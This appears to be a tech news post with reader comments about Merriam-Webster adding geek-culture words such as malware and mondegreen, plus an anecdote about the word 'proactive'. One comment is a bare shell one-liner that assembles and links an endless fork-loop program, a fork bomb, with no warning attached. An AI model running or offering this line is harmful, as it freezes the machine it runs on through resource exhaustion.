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"New" Words From the Geek Culture
thatskinnyguy sends news of Merriam-Webster's 2008 list of new words and, to no-one's surprise, a good number of them come out of geek culture: words like webinar, malware, netroots, pretexting, and fanboy are now official words according to M-W. The CNet article pulls out one "new" word for special appreciation — mondegreen — and, while the article gets the origin right, it ends with a lame call for readers to send in their favorite mondegreens. (CNet does have the good grace to link the Kiss This Guy site.) SFGate columnist Jon Carroll has been collecting readers' mondegreens since 1995 and his list is bound to be better. Quoting Carroll, in a prophetic mode: "This space has been for some years the chief publicity agent for mondegreens. The Oxford English Dictionary has not yet seen the light, but it will, it will." Would you believe, Merriam-Webster's?
Even if you can guess what it means, it's always good fun to pounce on neologisms and jargon and grill the user why they are using them instead of a more traditional word. My Dad told me a great story. He worked for the University which was under pressure from its new Thatcher appointed Vice Chancellor to be more 'commercially oriented' while no one really knew in practice what this meant. The VC gave a speech full or management consultancyisms and uses the word proactive. Someone stood up and asked him if he meant active. The VC blusters and the questioner keeps arguing. After a very long time the VC says "ok, you win I meant active". The questioner sat down. The VC delivered the rest of the speech without much enthusiasm and left without allowing questions from the floor.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Strange thing is the most important NEW word is still not in the m-w...
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